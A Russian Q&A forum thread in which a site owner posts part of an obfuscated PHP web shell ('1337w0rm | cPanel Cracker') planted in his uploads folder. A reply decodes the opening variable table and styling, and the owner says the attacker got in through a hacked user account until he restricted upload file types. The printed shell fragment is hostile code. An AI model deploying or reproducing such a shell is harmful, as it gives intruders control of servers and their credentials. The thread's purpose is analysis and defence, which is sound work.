Как расшифровать?

Question

[Hannskod]

<?php ${"\x47L\x4f\x42\x41\x4c\x53"}["y\x74\x71\x73i\x64\x62uw\x62"]="us";${"\x47L\x4fB\x41LS"}["f\x79gf\x77\x66\x70\x70"]="\x63";${"GL\x4fBA\x4cS"}["x\x73suk\x65\x74\x68\x6c\x78"]="c\x6f\x6efi\x67u\x72\x61\x74\x69\x6fn";${"\x47LOB\x41\x4cS"}["z\x6el\x66c\x67"]="\x63\x6f\x6e\x73y\x6d";${"GL\x4f\x42\x41LS"}["x\x72\x6e\x72q\x6e\x65\x65qy\x66\x6e"]="\x64\x69\x72";${"\x47L\x4fB\x41\x4cS"}["\x79\x79\x78p\x67\x74\x69\x66b"]="\x72\x74";${"G\x4c\x4f\x42A\x4c\x53"}["\x73a\x66\x73\x6es\x70\x74q"]="\x67";${"\x47LO\x42\x41\x4c\x53"}["\x6f\x74\x6d\x76w\x75\x79r"]="\x75\x73\x65\x72\x73";${"GL\x4fBA\x4c\x53"}["n\x66d\x6e\x69\x79e"]="\x6c\x69\x6e\x6b";${"\x47L\x4f\x42\x41LS"}["\x6c\x67\x63\x6dkkj"]="\x72\x72";${"G\x4c\x4fBA\x4cS"}["\x75\x75oe\x6c\x64\x6c\x68\x6e"]="\x72";${"\x47\x4cO\x42\x41\x4c\x53"}["\x72shfresl\x68\x6dx"]="\x73\x61\x66\x65_\x6d\x6f\x64\x65";${"\x47\x4cO\x42\x41\x4c\x53"}["m\x6a\x6aj\x73\x79c"]="\x73af\x65\x5fm\x6fd\x65";${"\x47LO\x42\x41\x4cS"}["\x68\x72q\x70\x6a\x6c"]="p\x61\x73s";${"\x47\x4c\x4f\x42A\x4cS"}["\x6dp\x6b\x71z\x62u\x64\x79s\x65"]="u\x73e\x72";${"GL\x4f\x42\x41LS"}["\x73r\x70u\x63\x63\x75ng"]="a1";${"\x47\x4cO\x42\x41LS"}["\x6b\x70m\x62\x72\x6f\x64"]="ok";${"\x47\x4cO\x42A\x4cS"}["\x72\x72\x6b\x66\x76\x75y\x74"]="\x69\x642";${"G\x4c\x4f\x42ALS"}["\x7a\x6d\x65\x72l\x67\x7ak"]="\x612";${"GL\x4f\x42\x41\x4c\x53"}["\x6c\x73cc\x78\x72n\x62\x68w"]="\x75s\x65\x72na\x6d\x65";${"\x47L\x4f\x42\x41\x4cS"}["\x6fi\x62\x62\x66u\x63\x64\x63"]="\x76al\x75e";${"\x47\x4c\x4f\x42\x41L\x53"}["\x75\x63n\x69\x62gy\x67\x64\x71"]="\x65";${"\x47\x4cO\x42\x41\x4c\x53"}["j\x6e\x77\x74\x64\x6ae\x62"]="a\x74t";${"G\x4c\x4f\x42\x41L\x53"}["q\x6fw\x65\x73\x64p"]="\x73\x61h\x61\x63\x6b\x65\x72";${"\x47\x4cOB\x41L\x53"}["\x74\x76oi\x64s\x74"]="\x70\x61t\x68\x63\x6c\x61\x73\x73";${"\x47\x4c\x4f\x42A\x4cS"}["t\x70\x79et\x6cr"]="f\x70";${"\x47LO\x42\x41L\x53"}["\x6c\x76\x74\x66\x6a\x69s\x6b\x77"]="co\x64e";${"\x47\x4cOB\x41L\x53"}["\x73\x6bzm\x6a\x70\x79\x67\x62d\x62"]="\x72\x65s";${"\x47\x4cOB\x41L\x53"}["p\x77\x64\x66\x76\x70\x6e\x69d\x64"]="ar";${"G\x4cO\x42\x41\x4cS"}["\x73\x71o\x77\x63q\x78"]="\x76\x61\x6c\x75e\x73";${"G\x4cO\x42A\x4c\x53"}["\x77c\x67\x72\x6bl"]="k\x65\x79s";${"\x47\x4cOB\x41LS"}["\x69vk\x76t\x69\x64n\x6e"]="\x6eu\x6d";${"\x47\x4cO\x42\x41\x4c\x53"}["b\x74\x79\x67\x77\x6cu"]="\x71\x75\x65\x72\x79s";${"\x47\x4cOB\x41\x4cS"}["\x79\x75i\x72d\x63\x65\x68\x72vu"]="\x73\x71\x6c";${"\x47\x4cO\x42\x41\x4c\x53"}["\x6d\x6e\x6dz\x72t\x64l\x73"]="\x68\x65\x61\x64";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["k\x67\x6arj\x78\x71\x73\x62"]="m\x69\x6d\x65_\x74\x79\x70e";${"\x47\x4cO\x42A\x4cS"}["\x77q\x70\x77\x79\x64\x74\x6d"]="\x63\x6f\x6e\x74\x65nt_\x65\x6e\x63o\x64\x69\x6eg";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6b\x6f\x72\x68khm\x65g\x6e\x74"]="\x66i\x6ced\x75mp";${"\x47\x4cO\x42\x41\x4cS"}["\x73\x77\x73r\x6f\x77m"]="f\x69lena\x6d\x65";${"G\x4cO\x42\x41L\x53"}["\x72\x74rn\x6d\x73w\x72gb\x74"]="\x66i\x6c\x65";${"\x47L\x4f\x42AL\x53"}["\x78mc\x68\x78\x77\x73\x70r"]="\x76";${"GL\x4f\x42A\x4cS"}["\x6f\x79k\x73sljt\x76\x6cz"]="\x6b";${"\x47\x4cO\x42A\x4cS"}["\x73\x7a\x66y\x6ao\x70"]="i";${"\x47\x4c\x4f\x42AL\x53"}["\x75\x6f\x71g\x70n\x78ob\x69\x71h"]="\x74\x61\x62\x6ce";${"G\x4cO\x42\x41L\x53"}["f\x62\x61\x67\x78o\x69\x6dc\x66"]="\x71u\x65ry";${"\x47\x4c\x4f\x42AL\x53"}["j\x75\x78\x73\x62\x70"]="\x65\x72\x72\x6f\x72";${"\x47\x4cOBAL\x53"}["s\x67\x79\x6b\x6fg\x67\x6c\x6er\x64"]="st\x72";${"GLO\x42A\x4c\x53"}["\x70\x68ym\x7a\x69s\x74\x75\x75\x71"]="c\x68e\x63\x6b\x65\x64";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x68\x72sw\x77r\x63\x70\x72\x77"]="\x72\x65\x74";${"\x47L\x4f\x42\x41\x4cS"}["\x77u\x79\x73trt"]="t\x79\x70e";echo "\x3c\x68t\x6d\x6c\x3e\n<t\x69tl\x65\x3e\x31\x333\x37w0\x72\x6d\x20| cP\x61\x6e\x65l\x20\x43r\x61c\x6b\x65\x72\x3c/t\x69\x74l\x65\x3e\n\x3cm\x65t\x61 \x68t\x74p-\x65\x71ui\x76\x3d\x22\x43\x6fn\x74\x65\x6e\x74-Typ\x65\x22\x20\x63\x6f\x6eten\x74=\x22te\x78\x74/\x68\x74\x6dl\x3b \x63\x68ars\x65t=u\x74\x66-\x38\x22\x20/>\n";@set_time_limit(0);@error_reporting(0);echo"\x3ch\x65\x61d>\n\n<s\x74yle>\n\t \x20  \n\t \x20 \x20/*\x20R\x65tnOH\x61cK 2\x30\x313\x20*/\n\n\n\x20    \x20 \x20   \x20bo\x64y{c\x6flo\x72:#\x366\x46F0\x30\x3b fon\x74-\x73i\x7ae:\x20\x31\x32p\x78;\x20\x66\x6fn\x74-\x66a\x6di\x6cy: s\x65ri\x66\x3b\x20b\x61c\x6b\x67\x72o\x75\x6ed-c\x6fl\x6f\x72: b\x6ca\x63\x6b\x3b b\x61\x63\x6b\x67r\x6f\x75\x6ed-i\x6dag\x65: u\x72l(\x68\x74\x74p://w\x77w.wa\x6cl\x73\x61v\x65.c\x6fm/w\x61\x6clp\x61\x70e\x72s/\x319\x32\x30x\x31\x3080/\x61\x6c\x69\x65\x6e-\x6e\x61ture/\x36011\x34\x37/al\x69e\x6e-n\x61tur\x65-\x6datrix-6\x301\x314\x37.jp\x67);\n\t\t\t\t\x62ackg\x72\x6fu\x6ed-\x72\x65\x70\x65\x61t:\x20no-
?>

Залили на сервер в папку уплоадс данный файл явно шелл к с помощью него поулучаешь доступ ко всему что только можно
Это только часть, все не влазит

Answer 1

[Виталий Хоменко]

${'GLOBALS'}['ytqsidbuwb']='us';
${'GLOBALS'}['fygfwfpp']='c';
${'GLOBALS'}['xssukethlx']='configuration';
${'GLOBALS'}['znlfcg']='consym';
${'GLOBALS'}['xrnrqneeqyfn']='dir';
${'GLOBALS'}['yyxpgtifb']='rt';
${'GLOBALS'}['safsnsptq']='g';
${'GLOBALS'}['otmvwuyr']='users';
${'GLOBALS'}['nfdniye']='link';
${'GLOBALS'}['lgcmkkj']='rr';
${'GLOBALS'}['uuoeldlhn']='r';
${'GLOBALS'}['rshfreslhmx']='safe_mode';
${'GLOBALS'}['mjjjsyc']='safe_mode';
${'GLOBALS'}['hrqpjl']='pass';
${'GLOBALS'}['mpkqzbudyse']='user';
${'GLOBALS'}['srpuccung']='a1';
${'GLOBALS'}['kpmbrod']='ok';
${'GLOBALS'}['rrkfvuyt']='id2';
${'GLOBALS'}['zmerlgzk']='a2';
${'GLOBALS'}['lsccxrnbhw']='username';
${'GLOBALS'}['oibbfucdc']='value';
${'GLOBALS'}['ucnibgygdq']='e';
${'GLOBALS'}['jnwtdjeb']='att';

${'GLOBALS'}['qowesdp']='sahacker';${'GLOBALS'}['tvoidst']='pathclass';${'GLOBALS'}['tpyetlr']='fp';${'GLOBALS'}['lvtfjiskw']='code';${'GLOBALS'}['skzmjpygbdb']='res';${'GLOBALS'}['pwdfvpnidd']='ar';${'GLOBALS'}['sqowcqx']='values';${'GLOBALS'}['wcgrkl']='keys';${'GLOBALS'}['ivkvtidnn']='num';${'GLOBALS'}['btygwlu']='querys';${'GLOBALS'}['yuirdcehrvu']='sql';${'GLOBALS'}['mnmzrtdls']='head';${'GLOBALS'}['kgjrjxqsb']='mime_type';${'GLOBALS'}['wqpwydtm']='content_encoding';${'GLOBALS'}['korhkhmegnt']='filedump';${'GLOBALS'}['swsrowm']='filename';${'GLOBALS'}['rtrnmswrgbt']='file';${'GLOBALS'}['xmchxwspr']='v';${'GLOBALS'}['oykssljtvlz']='k';${'GLOBALS'}['szfyjop']='i';${'GLOBALS'}['uoqgpnxobiqh']='table';${'GLOBALS'}['fbagxoimcf']='query';${'GLOBALS'}['juxsbp']='error';${'GLOBALS'}['sgykogglnrd']='str';${'GLOBALS'}['phymzistuuq']='checked';${'GLOBALS'}['hrswwrcprw']='ret';${'GLOBALS'}['wuystrt']='type';echo ' ';@set_time_limit(0);@error_reporting(0);echo' /* RetnOHacK 2013 */ body{color:#66FF00; font-size: 12px; font-family: serif; background-color: black; background-image: url(http://www.wallsave.com/wallpapers/1920x1080/alien-nature/601147/alien-nature-matrix-601147.jpg); background-repeat: no-

Comments

[Hannskod]

Спасибо, вопрос решил запретил загрузку лишних типов файлов, и вроде все
Сначало думал дырка где то фтп или самом сервере, оказалось все очень просто хакнули одного из пользователей на сайте, и залили через него файл пхп потом уже и все остальное позаливали

Answer 2

[Hannskod]

это какой то 1337 worm